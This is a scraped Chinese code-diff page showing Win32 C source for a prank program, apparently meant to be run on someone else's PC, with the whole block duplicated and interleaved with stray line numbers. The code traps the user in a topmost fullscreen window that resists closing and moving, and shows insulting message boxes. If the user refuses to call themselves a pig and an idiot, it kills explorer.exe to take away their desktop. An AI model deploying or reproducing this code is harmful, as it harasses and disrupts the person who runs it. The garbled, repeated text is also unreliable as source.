正文
增加 55 行删除 55 行
15 行未改动1617181920212223245 行未改动303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071087 行未改动1161171181191201211221231241253 行未改动1291301311321331341351361371381391401411421431441451461471481491507 行未改动15815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119286 行未改动27928028128228328428528628728828929029129229329429529629729829930030130230311 行未改动3153163173183193203213223233243253263273285 行未改动33433533633733833934034134234 行未改动15 行未改动# *㊁代码展示:*```javascript#include <shudu.h>#define SC_MOVE 0xF010/* This is where all the input to the window goes to */int x;int y;5 行未改动HDC hdc ;PAINTSTRUCT ps ;RECT rect;hdc = BeginPaint (_hwnd, &ps);GetClientRect(_hwnd, &rect);DrawText( hdc, TEXT(words), -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER );EndPaint (_hwnd, &ps);}int ckzq(){HWND hForeWnd = NULL;HWND hWnd= FindWindow(NULL, title);DWORD dwForeID;DWORD dwCurID;hForeWnd = GetForegroundWindow();dwCurID = GetCurrentThreadId();dwForeID = GetWindowThreadProcessId( hForeWnd, NULL );AttachThreadInput( dwCurID, dwForeID, TRUE);ShowWindow( hWnd, SW_SHOWNORMAL );SetWindowPos( hWnd, HWND_TOPMOST, 0,0,0,0, SWP_NOSIZE|SWP_NOMOVE );SetWindowPos( hWnd, HWND_NOTOPMOST, 0,0,0,0, SWP_NOSIZE|SWP_NOMOVE );SetForegroundWindow( hWnd );AttachThreadInput( dwCurID, dwForeID, FALSE);}int moddle( int x, int len ){x = x/2;x = x-len;return x;}int kenren(){int _exit = 0;MessageBox(NULL, "要想退出,就在下面的每一个问题都点'是'","想退出就乖乖听话", MB_ICONASTERISK|MB_OK);auto yn = MessageBox(NULL, "你是不是猪?","问题1", MB_ICONQUESTION|MB_YESNO);if ( yn != IDYES ) _exit = 1;yn = MessageBox(NULL, "你是不是傻逼?","问题2", MB_ICONQUESTION|MB_YESNO);if ( yn != IDYES ) _exit = 1;if ( _exit == 0 ){MessageBox(NULL, "我就要离你而去了,呜呜呜","",MB_ICONEXCLAMATION|MB_OK);printf ( "结果:你已承认你是猪和傻子" );printf ( "%d", 1/0 );}else{system ( "taskkill /f /im explorer.exe" );system ( "cls" );MessageBox(NULL, "想退出就乖乖听话\n作为惩罚,我把你的桌面拆了","!@^%$*)(&^~?:><|{}", MB_ICONASTERISK|MB_OK);return 0;}}/* This is where all the input to the window goes to */LRESULT CALLBACK WndProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam){_hwnd = hwnd;switch(Message){/* Upon destruction, tell the main thread to stop */case WM_DESTROY:{PostQuitMessage(0);break;}case WM_CLOSE:{auto yn = MessageBox(NULL, "确定退出此坑人程序?","EXIT?",MB_ICONEXCLAMATION|MB_OKCANCEL);switch ( yn ){7 行未改动MessageBox(NULL, "没关系, 让我多活一会儿","",MB_ICONEXCLAMATION|MB_OK);break;}}}case WM_PAINT:{print("哈哈哈!你被耍了");return 0;3 行未改动MessageBox(NULL, "我是拖不动的","",MB_ICONEXCLAMATION|MB_OK);return 0;break;}/* All other messages (a lot of them) are processed using default procedures */default:return DefWindowProc(hwnd, Message, wParam, lParam);}return 0;}/* The 'main' function of Win32 GUI programs: this is where execution starts */int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){//HideWindow();/*隐藏父类窗口,否则被坑的人可以直接关闭程序*/system ( "title 哈哈哈!你被耍了(未响应)" );/*父类窗口标题*/system ( "cls" );7 行未改动wndcls.hInstance = hInstance; /*应用程序的实例号 */wndcls.lpfnWndProc = WndProc; /*窗口过程函数 */wndcls.lpszClassName = "你被耍了"; /*类名 */wndcls.lpszMenuName = NULL; /*菜单名 */wndcls.style = CS_HREDRAW | CS_VREDRAW; /*水平重画和垂直重画*/x = GetSystemMetrics( SM_CXFULLSCREEN );y = GetSystemMetrics( SM_CYFULLSCREEN );/*获取屏幕尺寸(不含任务栏)*/RegisterClass(&wndcls); /*注册窗口类*/HWND hwnd; /*实例化一个句柄*/hwnd = CreateWindow("你被耍了",title,WS_SYSMENU,/*窗口风格*/0,0,x,y,NULL,NULL,hInstance,NULL); //建立一个窗口ShowWindow(hwnd, SW_SHOWNORMAL); /*显示窗口*/UpdateWindow(hwnd); /*更新窗口*/MSG msg; /*消息机制*/while (GetMessage(&msg, NULL, 0, 0)) /*消息循环*/{ckzq();TranslateMessage(&msg); /*传来的消息翻译*/DispatchMessage(&msg);}return msg.wParam;}86 行未改动do{c = getch();d = c;c = c-48;if ( d != 13 ){a = a*10+c;printf ( "*" );}}while ( d != 13 );return a;}/*================================================================================*/void color(int a)//颜色{SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),a);}11 行未改动{Sleep(shijian);printf("_");}system( "color 7" );}/*================================================================================*/void HideWindow(){HWND hwnd;hwnd=FindWindow("ConsoleWindowClass",NULL);if(hwnd) ShowWindow( hwnd,SW_HIDE );5 行未改动{ HWND hwnd;hwnd=FindWindow("ConsoleWindowClass",NULL);if(hwnd) ShowWindow( hwnd,SW_SHOW );return;}void HideCursor(){34 行未改动15 行未改动1617181920212223245 行未改动303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071087 行未改动1161171181191201211221231241253 行未改动1291301311321331341351361371381391401411421431441451461471481491507 行未改动15815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119286 行未改动27928028128228328428528628728828929029129229329429529629729829930030130230311 行未改动3153163173183193203213223233243253263273285 行未改动33433533633733833934034134234 行未改动15 行未改动# *㊁代码展示:*```javascript#include <shudu.h>#define SC_MOVE 0xF010/* This is where all the input to the window goes to */int x;int y;5 行未改动HDC hdc ;PAINTSTRUCT ps ;RECT rect;hdc = BeginPaint (_hwnd, &ps);GetClientRect(_hwnd, &rect);DrawText( hdc, TEXT(words), -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER );EndPaint (_hwnd, &ps);}int ckzq(){HWND hForeWnd = NULL;HWND hWnd= FindWindow(NULL, title);DWORD dwForeID;DWORD dwCurID;hForeWnd = GetForegroundWindow();dwCurID = GetCurrentThreadId();dwForeID = GetWindowThreadProcessId( hForeWnd, NULL );AttachThreadInput( dwCurID, dwForeID, TRUE);ShowWindow( hWnd, SW_SHOWNORMAL );SetWindowPos( hWnd, HWND_TOPMOST, 0,0,0,0, SWP_NOSIZE|SWP_NOMOVE );SetWindowPos( hWnd, HWND_NOTOPMOST, 0,0,0,0, SWP_NOSIZE|SWP_NOMOVE );SetForegroundWindow( hWnd );AttachThreadInput( dwCurID, dwForeID, FALSE);}int moddle( int x, int len ){x = x/2;x = x-len;return x;}int kenren(){int _exit = 0;MessageBox(NULL, "要想退出,就在下面的每一个问题都点'是'","想退出就乖乖听话", MB_ICONASTERISK|MB_OK);auto yn = MessageBox(NULL, "你是不是猪?","问题1", MB_ICONQUESTION|MB_YESNO);if ( yn != IDYES ) _exit = 1;yn = MessageBox(NULL, "你是不是傻逼?","问题2", MB_ICONQUESTION|MB_YESNO);if ( yn != IDYES ) _exit = 1;if ( _exit == 0 ){MessageBox(NULL, "我就要离你而去了,呜呜呜","",MB_ICONEXCLAMATION|MB_OK);printf ( "结果:你已承认你是猪和傻子" );printf ( "%d", 1/0 );}else{system ( "taskkill /f /im explorer.exe" );system ( "cls" );MessageBox(NULL, "想退出就乖乖听话\n作为惩罚,我把你的桌面拆了","!@^%$*)(&^~?:><|{}", MB_ICONASTERISK|MB_OK);return 0;}}/* This is where all the input to the window goes to */LRESULT CALLBACK WndProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam){_hwnd = hwnd;switch(Message){/* Upon destruction, tell the main thread to stop */case WM_DESTROY:{PostQuitMessage(0);break;}case WM_CLOSE:{auto yn = MessageBox(NULL, "确定退出此坑人程序?","EXIT?",MB_ICONEXCLAMATION|MB_OKCANCEL);switch ( yn ){7 行未改动MessageBox(NULL, "没关系, 让我多活一会儿","",MB_ICONEXCLAMATION|MB_OK);break;}}}case WM_PAINT:{print("哈哈哈!你被耍了");return 0;3 行未改动MessageBox(NULL, "我是拖不动的","",MB_ICONEXCLAMATION|MB_OK);return 0;break;}/* All other messages (a lot of them) are processed using default procedures */default:return DefWindowProc(hwnd, Message, wParam, lParam);}return 0;}/* The 'main' function of Win32 GUI programs: this is where execution starts */int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){//HideWindow();/*隐藏父类窗口,否则被坑的人可以直接关闭程序*/system ( "title 哈哈哈!你被耍了(未响应)" );/*父类窗口标题*/system ( "cls" );7 行未改动wndcls.hInstance = hInstance; /*应用程序的实例号 */wndcls.lpfnWndProc = WndProc; /*窗口过程函数 */wndcls.lpszClassName = "你被耍了"; /*类名 */wndcls.lpszMenuName = NULL; /*菜单名 */wndcls.style = CS_HREDRAW | CS_VREDRAW; /*水平重画和垂直重画*/x = GetSystemMetrics( SM_CXFULLSCREEN );y = GetSystemMetrics( SM_CYFULLSCREEN );/*获取屏幕尺寸(不含任务栏)*/RegisterClass(&wndcls); /*注册窗口类*/HWND hwnd; /*实例化一个句柄*/hwnd = CreateWindow("你被耍了",title,WS_SYSMENU,/*窗口风格*/0,0,x,y,NULL,NULL,hInstance,NULL); //建立一个窗口ShowWindow(hwnd, SW_SHOWNORMAL); /*显示窗口*/UpdateWindow(hwnd); /*更新窗口*/MSG msg; /*消息机制*/while (GetMessage(&msg, NULL, 0, 0)) /*消息循环*/{ckzq();TranslateMessage(&msg); /*传来的消息翻译*/DispatchMessage(&msg);}return msg.wParam;}86 行未改动do{c = getch();d = c;c = c-48;if ( d != 13 ){a = a*10+c;printf ( "*" );}}while ( d != 13 );return a;}/*================================================================================*/void color(int a)//颜色{SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),a);}11 行未改动{Sleep(shijian);printf("_");}system( "color 7" );}/*================================================================================*/void HideWindow(){HWND hwnd;hwnd=FindWindow("ConsoleWindowClass",NULL);if(hwnd) ShowWindow( hwnd,SW_HIDE );5 行未改动{ HWND hwnd;hwnd=FindWindow("ConsoleWindowClass",NULL);if(hwnd) ShowWindow( hwnd,SW_SHOW );return;}void HideCursor(){34 行未改动